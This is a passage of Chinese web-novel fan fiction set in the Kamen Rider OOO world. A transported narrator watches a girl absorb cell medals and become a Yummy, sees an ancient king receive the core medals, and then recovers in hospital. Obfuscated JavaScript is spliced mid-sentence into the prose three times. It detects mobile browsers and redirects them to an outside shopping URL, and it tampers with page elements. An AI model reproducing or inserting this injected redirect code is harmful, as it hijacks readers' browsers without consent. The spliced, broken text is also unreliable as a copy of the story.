一路上她都在生闷气。司机把电台打开,主持人用甜美的嗓音播报:“下面是今日的推荐歌曲,来自听众投稿的Time judged……” 美智子不想听:“麻烦把电台关上。” 于是“啪”地一声,广播停了。 三人就在这样寂静的氛围里一路到了学校。 大门前是卒业式的合影墙,许多人在拍照留念,但并不包括这对姐妹。 美智子和司机都去做什么了,我不知道。我完全跟着美纪子在行动,看她和同学们打完招呼往树林赶去,在地里挖出一个塑料袋,袋子里则装着一尊小巧精致的盒子。 美纪子把盒子取了出来,宝贝似的抱在怀里,一通检查后打开了它。 树上,看清盒子里装有什么的我立即瞪大了眼。 12. 红鸟复活之法与恐龙幻想之力(3) 那是一整盒的细胞硬币。 “还好没丢,我的宝物……”美纪子痴痴地说着,像梳理自己的头发一样细细拨弄着盒里的硬币。 我闭了闭眼,又有许多疑问顿时产生。 为什么她会有细胞硬币?那东西不是都存在鸿上美术馆里了吗? 就算鸿上保管不利,她运气好拿到了流出的藏品,一般人也只会以为这是哪家公司的游戏币吧?这种视若珍宝的态度又是什么? 不能够吧…… 一个猜测在我心中成形。我调整呼吸,专心盯住她的每一个动作。 这一盯又被我发现了几处不对劲的地方。 第一,那些硬币并非我以为的细胞硬币。 细胞硬币的正面是与核心硬币相对应的浮雕,背面则是一个统一的“X”。美纪子的这盒硬币虽然有“X”,但另一面却是光滑的,不具备任何可识别的特征。 长得很像,但和我所熟识的细胞硬币有本质区别,不能断定那就是Greeed们的硬币。 但应该也是王的硬币。 第二,美纪子在碰触到这盒硬币以后,整个人的状态完全变了。 原来的美纪子在我眼里是个阴险的人。她知道自己的姐姐一点就着是个炮仗,所以扮成柔弱的样子躲在姐姐背后,事事都让姐姐替她冲锋。这样她既能享用到姐姐争夺来的好处,又能立下一个懂事的人设,不知不觉就塑造了旁人对这两姐妹的看法。 刚才我已经见识到这套招数的厉害。到处都有人说她倒霉,有美智子那样一个暴戾的姐姐,平日里关系估计也很紧张,只是没办法才一直跟着美智子。殊不知人家是心甘情愿做美智子的影子。 藏在暗处引导人的判断,如此阴暗的手段便是美纪子的生存之道。 可就在她接触到硬币的那一刻起,就在当下,她的野心、她的凶恶,那些负面的能量瞬间显露了出来。 如果别人见到的她是现在这副样子,那些手法肯定发挥不上用场。 “有点怪啊?”我正想着,下一幕却牢牢抓住了我的视线,把我从出神的状态中又拽了回来。 “宝物,我的宝物,宝物……” 美纪子痴迷地笑着,抬起胳膊将盒子高高举起。 那些硬币泼洒出来,像是收到了某种牵引似的,争先恐后地往美纪子赶去。 ——竟是都投进了身体!!! 我的心怦怦狂跳,为她这疯狂的举动。 再没有比我更明白这究竟意味着什么的人了。 TV里是这样:被Greeed盯上的欲望过剩人类,脑袋上会出现一个投币口。等Greeed通过投币口把硬币投到那人身体里面以后,无色的Yummy便会从中催生。 这便是Yummy诞生的流程。 Yummy的本质是Greeed和人类通过细胞硬币为媒介携手制造的,只为了欲望而存在的怪物。 现在,美纪子把那些硬币全都丢进了自己身体。 难道她是Greeed?这场面好熟悉,映司是不是也这样喂过Ankh? 我下意识地想到。很快这个念头就打消了。 她体内应该没有核心硬币。 尽管我仍不清楚核心硬币和细胞硬币之间究竟有何种本源上的联系,但我知道Greeed接受细胞硬币时是愉悦的,就像饿了很久的人终于吃到心心念念的美食。 如果美纪子真的是Greeed,她不会露出如此痛苦的表情,好像正经受着天底下最可怖的酷刑。 到目前为止,美纪子应该还是人类。 ……这样问题似乎更大。 人类是不能承载这么多细胞硬币的。TV后期映司为了打败真木博士,决定接受自己Greeed化,准备作为容器纳鸿上八百年来的所有私藏。 那时鸿上说的什么?在你那无与伦比的巨大器量,还承载着欲望的结晶…… 不是这句。 死脑快想啊!来尽情享用无限的普通硬币…… “欲望本身是生命的源头……欲望引发了生命的进化?” -- 熟悉的句子脱口而出。 欲望本身就是生命的源头,欲望引发了生命的进化! 我怎么会忘了这个! “哈哈……不够,还不够……”美纪子癫狂地笑着,吸收了过多硬币的她此时看上去分外陌生,完全失去了往日那个娇弱的形象。 “哈哈,哈哈哈……” 伴随着愈发尖利的嗓音,她的身体也开始发生变化。脸上突然现出古怪的花纹。四肢也变得不分粗细,指甲和胳膊、脚掌通通连在一起,像从躯干上伸出的四根棍子。 明明还有点人类的样子,但按照这个速度,这张人皮也撑不住太久。 “还有更多,更多……” 她完全失去了矜持,像狗一样在地上爬行,到处搜寻硬币的踪迹。 “更多,更多……” 还真被她找到几枚。 “更多……更多!” 美纪子跪在地上,献宝似的捧起那几枚沾着泥土的硬币,凑近它们陶醉地嗅了嗅,然后向空中撒去,看着那些硬币又融进自己身体,发出一声满足的叹息。 “更多……更多……” 她又去找新的硬币了。 -- 那副迷醉的神情令我作呕。 别再搞了,你要把自己送没了知道吗!这么多的硬币,就是真木博士也不敢这样造作啊! 我心焦极了,恨不能上号代打,一时竟共情了美智子—— “别再弄了!你会没命的!” 我终于忍不住喊。 听到的只有鸟鸣。 一瞬间我倏然清醒。对啊,怪物早在第一个情境里就出现过了,美智子被那怪人吞了,所以这是更早之前的、过去的事了…… 我只能看着她让自己堕入深渊。 “更多……更多……” 这片林子里居然藏了这么多的硬币。它们大多被泥土掩埋,很浅,随便挖挖就能拿到。 美纪子像往身上装了个扫描仪似的,一挖一准,而且随着硬币的吸收,定位也越来越精确,有时还会规划路径,一条线上挖出数个大坑。 怪物的虚影在她身上时隐时现。硬币吞得越多,她也就越接近那个丑陋的面目。 终于,答案浮出水面。 “更多……更多!” 美纪子又找到了几枚硬币,迫不及待地吞进嘴里。 这一次她没再发出那种仿佛牙签磨过黑板的笑声,而是仰起脸来,失神地望向天空。 一对透明的东西从她身后长了出来,比起翅膀更像是鸭的蹼膜。 果然吧。 你就是那只Yummy。 -- 时间定格。 我在不少小说里看到过这样的句子:周遭景色如潮水般退去…… 我并不住在海边,那些形容意识之海中的改变,潮起潮落,我都不懂。只能通过视频想象它是怎样一种感觉。 原来是这种感觉。 我几乎是无意识的,回过神来已然身处在一片纯白之中。 对面是那只Yummy。 不得不说,经历了这么多的事情,这会儿再看到它这张脸,我还是……觉得好丑。好想打上一拳再推开。 大概美纪子的欲望也就只能哺育出这样丑陋的Yummy吧。肮脏又自我,可以说人世间的美德半点不沾。 到最后我其实也不明白她何要那样。 但都不重要了。 “咳、咳!”我清了清嗓子,“所以你是美纪子,对吗?” 怪物沉默着,不肯定也不否定。我记起它追问美智子的话,“我是谁”——可能它自己也不知道吧。 “既然你不说,我就当你是美纪子吧。”毕竟看到了美纪子变身的全过程,“短信是你发的,照片是你拍的。你认识比奈,知道美纪子曾经在比奈那里吃瘪,所以想要报复。但你不敢肯定自己是美纪子,所以又放了比奈一码。至于短信,那完全是个意外,因为我跟比奈一直在聊天,你判定我们的关系极好,像你和你姐姐,受了刺激所以要连坐……” 我真要被自己气笑了。这算什么,胡言乱语模拟器吗?但愿不要把这怪物绕得越来越晕。 但也没时间整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510631|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理了,我继续说,梦到哪句说那句:“当然,你姐姐就没那么好运了。你心里应该一直怨恨着她吧?虽然不知道原因,但是你姐姐一直在被你利用,你知道这点还怨恨她,我说这已经不是心理变态了,要不找家医院看看脑子,圣都大学附属医院怎么样?” “嘶嘶……” 虽然智力不足,但我用的这副语气就算智障也听得出来自己被眼前这人给瞧不起了。 怪人“嘶嘶”地躁动着,试图冲上前来把我按倒。 不好意思我试过了,精神领域任何攻击宣言都是无效。不然我哪敢在这浪呢,还不得想办法逃跑。 “做什么,说你两句还着急了?就这样你这辈子想不明白‘我是谁’好吗?” 我深呼吸。 “好了不贫了,说点正经的事。” 从美纪子吞噬细胞硬币开始,之前的诸多疑问便都有了解释。 Yummy2.0们是从哪里来的? 人变的。 为什么2.0们智商比1.0涨了不少,狩猎方式也更接近于人? 因为那就是人。 为什么2.0们身上没有鲜明的Greeed特点? 因为是人。 为什么始终找不到幕后的Greeed? 因为根本没有这样Greeed,2.0们的本质是人。 “如果我判断没错,这个所谓的‘里世界’是你的记忆。你早在正式诞生之前就存在了,只是那时候你寄寓在人心之中,人们管你和你的同类叫——欲望。” 和必须由Greeed操作的1.0们不同,2.0的Yummy优化了Greeed的存在,实现了从人到Yummy的直线转换。只要吸收足够多的硬币,任何人都可以变为Yummy。 真是个无敌的补丁。 我怜悯地看向眼前这只。 被欲望吞噬的人就能变成Yummy,那些特殊的细胞硬币怕也是觉察到了这点,才会以各种方式出现在他们身边。估计还许诺了好处,让他们可以动用硬币里蕴藏的力量满足欲望。 于是雪球越滚越大,欲望失控了。 而那些自以为被上天眷顾的人,终于也是被这份贪婪吞噬,最后连自己是谁都忘记了。 真是可悲。 “现在我只有两件事想不通了。” 我收回思绪,把目光又放在了面前的真实之上。 “最重要的还是,我为什么也会产生核心硬币。我的这具身体,和一般人类的身体似乎大不一样。” 兜兜转转想了一圈,我最关心的其实还是自己。 事如今我记不清当时掉下去的硬币是什么样式的了,是类似TV那种有图腾的,还是类似美纪子那种没图腾的,我不知道。但无论是哪种,好像都不应该从我身上掉出。 除非这具我目前在用的身体是“特殊的”。 “然后呢,我也想知道,硬币是怎么看上的你。往各地抛出这些硬币的又是谁。” 没有Greeed,就没有那个导致Yummy泛滥的幕后黑手了吗? 不见得吧。 泉信吾说过,Yummy事件是从半年前开始有记录的。也就是说,肯定一股力量释放了这些硬币,那就是所有混乱的源头。 可能是人,可能是Yummy,可能是Greeed。甚至可能是八百年前的王。 又不是没拍过这种东西。 “我在上楼救比奈的时候听到了好多声音,好巧哦,有一部分和我在里世界听到的一模一样。因此我大胆假设,每一个硬币其实都承载着一点信息,而当硬币们碰到一起时,就会产生共振。这就是那些声音的来源,也是我之所以在这里的原因。” 也就是刚才推理的时候,大脑飞速运作,许多条线索突然串联起来,这才让我彻底想明白了这点。 我有硬币,Yummy感觉得到,Yummy把我当成同类。因而我完全没必要恐惧祂们。 既然还保留了一定人类的思维,那就用人类的想法对待,以人类的方式谈判。 “你有硬币,我也有硬币。而现在我想知道……比着更多、更大的事情。” 13. 红鸟复活之法与恐龙幻想之力(4) 不知道祂那所剩无几的智能够不够理解我的意思。 说得那么冠冕堂皇,其实我就是……单纯的打不过罢了。 敌强我弱,只能说理。 翻车了我就跟它耗着。反正里世界这副样子,说明外面的我状态稳定,等映司他们把我弄醒就能把事情都推给他们。 如此奔波下来,我是真怀念头几天摸鱼的日子。 那样好的时光怕是再也不会有了。 “怎么样,反正我们都被困在这里。你看我这么聪明,看了两段记忆就什么都知道了,那再多来一点,说不定就能解开你的疑惑呢?” 我尽力发挥自己的价值,以此获得被选择的机会。 没有人喜欢空耗时间。太无聊了,又没有手机。总得给自己找点事做。 更何况,映司他们应该会很需要我从Yummy这里获取到的情报。 如果我能知道更多…… 额…… 也得看祂配不配合。 “喂,你不会真听不懂吧?” 我等得不耐烦了。说了那么多,又想了那么多,这怪人还是不为所动,一丝一毫的反应都不给我。 不会是真弱智吧?!美玖子那智商不至于啊?! “我看你在外面挺机灵啊,怎么到里面跟个木头一样……”我搔着脑袋抱怨,“你这样,怪不得要天天问''我是谁''、''我是谁''的,怎么可能想得清楚……” 不知道哪个字触动了祂的开关。 刹那间天旋地转,剧烈的冲击顷刻将我吞没。身体完全被撕裂开来,风一吹就散成碎片,飘到不知名的远方。 -- 幽冥中终于涌出一线光亮。渐渐地神识归位,我开始有了意识,也总算能活动一下肢体。 又穿越了。或者说穿梭。 作为一个资深穿越人士,到如今我已经亲身体验了不下三种穿越方式。不得不说,比起地铁、白光和潮水,这种蛮不讲理的穿越真是太…… 太痛了!!! 好痛,真的好痛,比上次怪人抓我时还痛。我感觉自己完全被撕碎了,然后用胶水重新拼了起来,还拼得胳膊不是胳膊手不是手,整一个四不像。 我甚至不知道自己是苏醒的还是痛醒的。前者算我意识坚定,而如果是后者,也不是那么难以理解。 真的太痛了! 美人鱼的故事里,为了能在陆上行走,小公主每天都要承受荆棘刺穿脚底的痛苦。 这会儿我痛得是有过之而无不及。至少至少,她只是脚下会痛,而我却是整具身体都在烧灼。 太痛了,根本动不了一点。连躺尸都不自在,总觉得有几万根针垫在身下,稍一放松就会被它们碾成碎屑。 落红不是无情物,化作春泥更护花…… 求你了秋山燕,这种时候别再讲冷笑话。 -- 适应了好一会儿,我感到自己能活动了,终于站了起来,试图弄懂这是到了哪个地方。于是环顾四周,看见哥特式的彩绘花窗,断壁残垣之上燃着一丛丛的篝火,昭示着此地似乎刚刚发生过一场激战。 像是教堂,或是游戏里的古代城堡。 OOO里有这样的地方吗? 来不及回想,我听见身后人的脚步声,下意识回头看去。 OOO?! 眼前的人让我顿住。老鹰老虎蝗虫,TATOBATATOBATATOBA旋律的突兀地浮现在我脑海。 都说了不要在这种场合讲冷笑话! “那么,硬币的研究怎么样了?” 他开口。熟悉的声音让我立刻冷静下来。 是了,这应该是八百年前。 我定了定神,在八百年前的OOO王面前晃悠。 果然,看不到我。 这Yummy的记忆居然从八百年前就有了吗?还是说按照我的理论,这是祂的某个细胞里面存储的影像? 真是这样的话,说明祂还是理解了我的意思,不是那么无可救药。 想到这里,我活动了下脑袋,一副斗志昂扬的模样。 既然答应帮祂找到“我是谁”的真相…… 难能可贵的信任,真不能辜负了啊。 -- 王身侧另外跟着一位神秘男子,过分宽大的斗篷让人看不清他的面目。 “一切顺利,尊贵的殿下。”听到王的问题,男子回答,“炼金术士们广泛开展了实验,这种细胞硬币确实有改造生物的能力。只要植入,不论是兔子还是野鸡,都能十倍强于它们的同类,并且发展出特殊的脾性,非常适合征战。” “很好。”王点点头,“那么,你们也有控制这种生物的手段,对吧?” “请您放心。”男人顺从地说,“我们当然都留有后手,这一回邀请您前来观看的,正是我们新的发明。” 他们在教堂中心停下。那里摆着一张长桌,长桌上摆着一些石质的圆盘。 “这是?”看到那些圆盘,王的眼神陡然一亮。 与此同时,靠着石柱的我冷笑出声。 现在的王还不认识这些玩意儿,但对于把OOO背得滚瓜烂熟的我而言,这几盘子东西可太熟悉了。 “这是您上次要求我们研发的新武器。”男人介绍道,“以欲望为源泉,以您的武器为灵感,寄宿着非凡的力量。我们给它们起了一个好听又好记的名字——” 核心硬币。 我心道。 八百年前的王为了征讨其他国家,号召全国的炼金术士打造无敌兵器,其结果就是核心硬币。 只要从十枚核心硬币里抽走一枚,剩下的九枚硬币就会因为自身的不完整,萌生出“想要变得完整”的欲望,从而于欲望中诞生全新的生命。 “Greeed。”男人说出了这个单词,“如果您乐意的话,我的王,您可以管它们叫Greeed。” “Greeed。”王跟着重复了一遍,突然仰天长啸,“Greeed……太了不起了!人最终代替了上帝,真是不可思议!” “斯巴拉西!!!” -- 墙边,目睹了这一幕的我嘴角微抽、眼皮狂跳。 原来鸿上那句“斯巴拉西”是从这学来的吗?! 声量太大,我默默捂住耳朵。旁边的男人似乎早习惯了王不定时的发癫,等平复后又同王说:“殿下所见的还只是炼金术士们一点小小的玩意儿。实际上,这七盘硬币里面,只有一盘是我们的得意之作。” “哦?”王侧目,朝男人瞥去一眼,“还跟我卖起关子来了?” 声音如古钟般低沉,叫人听不出悲喜。 然而男人却从中觉察到了什么,马上态度变得更加卑微,根本是弯着脊梁在同王对话:“不敢不敢,只是这秘密太大,我不能轻易就说出来。” “呵。”王冷哼一声,忽然挥了挥手。 不知从哪吹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510632|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来一阵飓风,眨眼间把整座教堂给破坏了。所有适合藏身的地方就这样暴露在眼皮底下,一切阴影中的力量于瞬间无所遁形。 尽管知道这是记忆里的事件,作为观察者,王不可能发现灵体的我……依然忍不住为自己擦了一把冷汗。 这就是王的实力?救命吧,最终BOSS要是这位可怎么打…… “这里没有别人。”王说,平静得像刚刚抬手便造成了极大破坏的人不是他一样,“你可以继续了。” “感谢殿下。”男人跪地向王重重地磕了个头,接着便开始了他的叙述。 -- “这是一个漫长的故事,我的殿下。知道您不喜欢听故事,所以我只讲个大概,关于我们十年来的努力。” “在发现欲望是一种极其强大的力量之后,我们马上投入到了关于欲望之力的研究,其成果便是您现在所使用的,我们称之为‘硬币’的东西。” “但是,欲望的力量仍旧是有限的。” “非常遗憾,人类是一种可以自我满足的生命。我曾经见过许多贫弱的人,他们明明缺衣少食,却不求上进,终日活在低劣的愉悦之中。这种人没有欲望,也就没有力量,细胞硬币在他们身上也就发挥不出作用。” “所以,我们开始寻找,究竟有什么办法可以让人不去满足。” “十年,我们找到了答案。” “那便是幻想。” “幻想永无止尽,欲望也就永无止尽。我们发现了二者之间的联系,也就具备了更加坚实的基础用以研究。” “不如说,Greeed本身就是幻想与欲望的最好体现。残缺的生命,倘若没有对完整生命的幻想,也就不会追求完整。欲望与幻想,它们是硬币的一体两面,而我们用这两面还原出了硬币。” “不过,幻想和幻想还是有所不同。” “这些硬币里面,只有一盘是以‘幻想’而非现实存在作为基底,就是这盘紫色的恐龙硬币。” “出于安全,我的建议是您暂且不要用它制造Greeed。因为纯粹的幻想之力太过强大,极有可能带来其他变数,比如弑君易主、时空穿越之类的。如若王国危在旦夕,需要拼死一搏,您大可以释放这只Greeed,相信普天之下绝无它的对手。” 说到这里,男人躬身做了个“请”的手势。 “现在您可以释放它们了,我尊贵的王。” -- 记忆戛然而止。 男人的头颅上突然裂开一道黑色的缝隙,紧接着是王,是天空,是大地。 出事了吗?这是出事了吧? 谁干的?伊达叔?还是后藤、映司? 不知道从哪里传来Yummy尖锐的悲鸣,一如生命死亡前绝望的挣扎。 听见这凄凉的呐喊,一股说不清的情绪忽然涌上心头,怎么都不是滋味。 尽管祂是怪人,甚至起初想置我于死地……但毕竟也是祂让我得知了诸多内情,要是就这样死了,怪悲戚的。 但我也没心思再想下去。 里世界崩塌了,我的意识也开始溃散。尽管如此,男人的话犹在耳边。我拼命重复他说的每一个字,最好是铭刻在这潜意识中,这样我如果有幸得以回到现实,我一定要告诉他们…… 告诉他们……我好像,找到复活Ankh的办法了。 一个不用交换,不用牺牲。 可以让Ankh安然复活的办法。 14. 世上没有永恒自由之物(1) 再有记忆的时候我躺在病床上,睁眼是朦胧的,像在看一张张失焦的相片。 忽然,一双手盖了上来。 “好好休息,别着急醒着。” 我听出这是知世子的声音,温温柔柔的,连我妈都不曾用这样的语气安慰过我。 我安心地闭上眼,安心地放任意识自流,迷糊中又听到好多声音。 “秋山醒了?” “刚睁眼了。” “再观察一阵子吧,刚醒体力估计还跟不上。” “真是的,叫她等我了。这小孩脾气就跟你学的。” “我吗?” “别吵了!病人需要静养!” 这群人还真是热闹……我久违地感到安宁,嘴角偷偷翘了起来,挪了个舒服的姿势继续补觉。 这回是真醒来了。 我在病房里住了有一阵子,且有段相当长的一段时间维持在半梦半醒的状态,回想起来印象也不深了,只记得每天都有不同的人来看我,给我说些模模糊糊的话。我想那是叫我加油的意思。到医院探病的台词也就那些,不指望多有新意。 而等我情况稳定一些,每天差不多有六小时清醒之后—— “Happy Birthday!” “……” “能独自与Yummy搏斗,恭喜你啊,迈出了探索欲望的一步,那么今天就是你的生日!Happy Birthday” 忘了这还有个鸿上光生。有他在我这住院怎么可能安静平淡。 我的伤还没好全,据伊达叔说,我主要受到的是Yummy的精神攻击,他们到场时我正痛苦地跪在地上,脚下水汪汪的全是我流出的泪。 一开始我不太相信伊达叔的说法。依照他的形容,那泪水就跟四五月的降雨一样,还不算上从脸颊落到地板的损失。人的泪袋哪有那么多的储量。 结果没过几天,泉信吾带任务来探视了。 “是真的呢。”听说我不相信伊达叔的表述,泉信吾把他的手机给我,屏幕上是那天的现场照片。 “我也被吓了一跳,还好后藤及时赶到。”泉信吾有些后怕,“比奈就在旁边,你们都受了好重的伤。你的情况还更糟糕一些,不然也不会昏迷这么长时间了。” 我和比奈后来都转移到了伊达叔的诊所,据说比奈当天就醒了,我却反复发热,丝毫没有要苏醒的迹象。后来比奈看我的时候还给我带了花和千纸鹤,握住我的手很认真地说了感谢。 “真对不起,我没想到那只Yummy会……我也不知道为什么。”她低着头不敢看我,“对不起。” 看到比奈自责的样子,我真想抬手摸摸她的头发,告诉她这不是她的错。她只是做了一件正确的事,尽管结果有点烂,但没人需要因为坚守住了自己的尊严而道歉。 可惜那会儿我连话都说不出来。鼻腔里还连着管子,通向呼吸机。 我只能试着对她眨眨眼睛,也不知道她有没有看到。 -- “还真的没有夸张……” 而在当下,基本恢复的我正不可置信地拖着屏幕,不停放大照片里自己的那一部分。 “信吾哥你怎么又这张照片的啊?当时你不是和映司在别的地方?” “嗯,那边的Yummy不是很危险,我们到了之后很快解决了。”信吾哥说着叹了口气,“结果又接到了伊达先生的电话,说你和比奈出事了,问地址又不说。还好你的手机有定位,他和后藤正在过去的路上。” “额哈哈,是,真是好险……”我笑了笑,试图掩饰自己的尴尬。 我也是最近才得知,原来我交给鸿上基金会改造的手机除了更换充电插口,额外还加装了一个微型定位装置。 当时我慌乱之中只跟伊达叔说地点是“比奈的造型室”,街道门牌一律没有,想当然地以为伊达叔肯定早就去过。我怎么晓得伊达叔这几年一直在为自己的诊所奔波,其他人做什么全不了解啊! 像是看出了我的窘迫,泉信吾安慰我说:“虽然冒险的行为不值得提倡,但我和比奈都很感谢你呢。” “真的吗?”我转过脸,感觉不太好意思,“比奈也跟我说了……但其实我完全没帮上忙,还麻烦你们来救我。” “怎么能这样想呢?”泉信吾摇了摇头,“伊达先生说了,还好你有把比奈提前带出来,不然她如果继续在那只Yummy的巢穴里呆着,后果不堪设想。” 这话哄超过八岁的小孩就没人信了。 但毕竟也是泉信吾的一片好心:“啊哈哈……能帮上忙就好……” 又僵局了。 -- 我无言反刍着这段对话,突然一丝灵光闪过脑际。 “等一下,我带出来?”我指指自己,“你确定是我带出来的?” “啊?”泉信吾皱了皱眉,似乎有些疑惑。 “不是你又能是谁?”他边回忆边说,“当时就你和比奈在场,那两只Yummy一个在明一个在暗……” “等一下!”我第二次打断他,“你说Yummy是……两只?” 这和我的记忆又有出入。 “啊?这个我可以肯定。”泉信吾说着凑了过来,划到下一张照片,“编号分别是021和022,长得很像,经常一起行动,且具备相当的素质。当时缠着你的就是这两只。” 还得是警察,到现场就要拍照留存,不然伊达叔一开口这么多的矛盾,我都要怀疑他到底来没来了。 “不过还好,后藤把它们都消灭了。”泉信吾说着把手收了回去,“之后映司和我把你们背到车上,伊达先生临时做了处理,算是稳定了局面。” 如此说来,结尾我听到的嚎叫,应该就是Yummy被消灭前所发出的最后的哀鸣。 这个追问着“我是谁”的Yummy到底没有等来祂的答案。 “信吾哥,”看着那一排排的照片,我直觉那里面藏有重要的内容,开口向泉信吾问道,“能把这些都让我过一遍吗?就一遍。” -- 泉信吾欣然答应了我的请求。 “不是保密的内容。”他说。 他的手机里存有一堆现场照片,因为着急,很多张都虚了,要么是曝光不足,真正能看的差不多也就八张。 我请他把这八张照片全部导到我手机上,这样他走了我也能看。 结束输液时天色已暗。 最后一天了,院里的护士拔掉了我手上的滞留针,终于我有了更多自由,不用担心晚上睡觉还压着延长管,或者突然血管爆开,或者干脆误把针留在体内,又要做手术给取出来。 朋友常说我在幻想灾难方面有着超于常人的天赋。以前我还不信,现在看真是这样。 总之,危机解除,我也总算能睡个好觉。 不过在那之前,还有更重要的事情。 靠着枕头,我认真研究起了泉信吾的这八张照片。 那天比奈的造型室里确实有两只Yummy,长得还一模一样,只是眼睛的颜色有些区别。 红色、黄色。 我一下就想到了里世界那对姐妹的裙装,忍不住释怀地笑。 我怎么就没想到这茬。 妹妹把姐姐吞进体内之后,姐姐其实也就接触到了那些空白的细胞硬币,不是吗? 就姐姐那个脾气,不变异才是怪事。 思考到这步,我停了下来,打开手机自带的记录软件。心想:要不是一直以来不是吃瘪就是在吃瘪的路上……这件事早该干了。 -- 好在还不晚。 我飞快地敲着键盘,把目前所获得的情报一条条输入进去,很快填满了整个文档。 我两手一滑,图片导入完成。再一滑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510633|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,情报与情报之间增添了数条连线,并且连线之间都有一两句简单的介绍。 AI加持的思维导图就是好用。 我把这张思维的大网从头到尾重新读了一遍,又修复了几个明显的错误,针对当中的几个未能解决的部分,支着脑袋沉思起来。 首先是这些Yummy。 算上泉信吾补充的线索,至此我完全明白了Yummy2.0是一群什么样的怪物,就不再往这方面多耗费脑细胞了。 先前我最疑惑的是那些硬币究竟从何而来,但自从看过八百年前的记忆,我已经猜出那些硬币是早期的实验品,所以正面是空白的一片,且能与任何生命融合。王用这些硬币培养了一支军队,以满足他所有无礼的征讨。 至于为什么硬币会出现在人们身边……先过吧。 说不定这些变异并非有人刻意设计,而只是像假面骑士W里的记忆体那样,是硬币自己找到的宿主们呢? 话虽如此,硬币是怎么在八百年后突然出现的也是一个问题…… 到这一步就无法再推导了。我把它以“硬币的出现”概括下来,用圆圈框住,往旁边写上“信息不足”,转而看向第二个拉满了问号的部分—— Ankh的复活之法。 -- 这更是线索为零,全靠脑补。 “如果Greeed的属性都代表着一种特质,那么紫色硬币所寄寓着的便是幻想的力量,这也是恐龙硬币之所以独立于硬币体系的原因……” 即便在睡睡醒醒的日子里,我也并没有彻底放弃思考,而是把八百年前那个男人的话在脑海中复盘了上万遍,直到我每一个细节都能还原,每一个细微的语气变化都能模仿得一模一样。 男人说:幻想永无止尽,欲望也就永无止尽。 男人说:恐龙硬币是以“幻想”作为基底,其能力连制造者们都不可预测。 男人说:Greeed本身就是“幻想之力”与“欲望之力”相结合的完美产物。 那么,在核心硬币的机制里面,“幻想”于“欲望”是否互为补充,或者根本就是一样,都代表了Greeed的生命之力? 如果能将恐龙硬币所蕴含的幻想之力注入进Ankh的核心硬币……是不是Ankh就可以复活,而不用再牺牲任何人命作为代价? 用硬币置换硬币,这才是最正经的“等价交换”。 我越想越觉得可能。尽管目前这都还是我的推测,逻辑上跑通了就没关系。 我决定明天就告诉他们这个消息。 “那么,就只剩最后一件事了……” 我嘀咕着,看向导图里的中心位置。 那里只有一个“我”字。 “Yummy是八百年前王造的孽。时空这个不管它了,就当平行世界。比奈的话是被后藤他们救出。至于Ankh的复活,好像也就是和映司这个恐龙硬币的持有者有关……” 自从来到这个世界,我看似参与了许多,但本来每件事里也没有我的位置,都是我硬要参和。 哪怕我没有穿越,这个世界的比奈还是会被攻击,Yummy还是会发出邮件,映司等人还是会去救她……然后被拉进里世界,亲眼目睹Yummy的诞生以及八百年前王的事迹,进而得出和我一样的结论。 所以说,忙活半天,这个世界的“我”在哪里? 好像只剩下我身上还莫名其妙掉出去的硬币还值得说道几句。我也是没想到,那么多事里只有它真的不是幻觉。泉信吾的照片上每一张都有硬币,但我估计他们都把它当成是Yummy掉的装备,直接给忽略了。 反正也不重要。 兜兜转转,又回到了最初那个问题。 在这场没有系统,没有任务,也没有任何非我不可的特殊事件的穿越里,那个需要“我”所扮演的“角色”究竟是“谁”。 15. 世上没有永恒自由之物(2) 醒来又是新的一天。 该说是心大还是无脑呢……一直以来,我有个自认为不错的习惯,那便是想不通的东西就不想了,不会在一件事上钻牛角尖,弄得自己身心俱疲,最后连觉都睡不好。 爸妈通知我要离婚的时候是这样,穿越后思考人生哲理也是如此。 -- 很快到了我出院的日子。 又一次,库斯库契布被置成了派对会所的样子,但在装饰上比欢迎映司回来那次要简单许多,因为工作的只有知世子一个。 “别担心了,他们忙他们的,店我一个人收拾也无所谓,以前也都是这样。”她拒绝了我的帮忙,“你呀,刚出院就别操这个心了,养好身体才是最重要的!” 拗不过去,我只能听从她的在大厅坐下,心里隐隐有些被安排的不爽,很快又为知世子的能力折服。 不愧是独自经营库斯库契多国料理店的女人。 看OOO的时候我就经常在想,库斯库契每天都要更换主题装潢,那么大的工程,知世子居然坚持成了特色,干活的速度一定很快。 事实也真是如此。地板差不多十分钟就收拾好了。之后是窗户,相框,桌椅板凳……她跟我说的唯一一句就是“抬脚”,我听到后马上把自己抬了起来,抱着腿缩在椅子里面,目瞪口呆地看着她以迅雷之势游走遍整个铺面。 怪不得不要我帮忙,怕多个拖油瓶影响发挥。 短短一小时过去,库斯库契焕然一新。 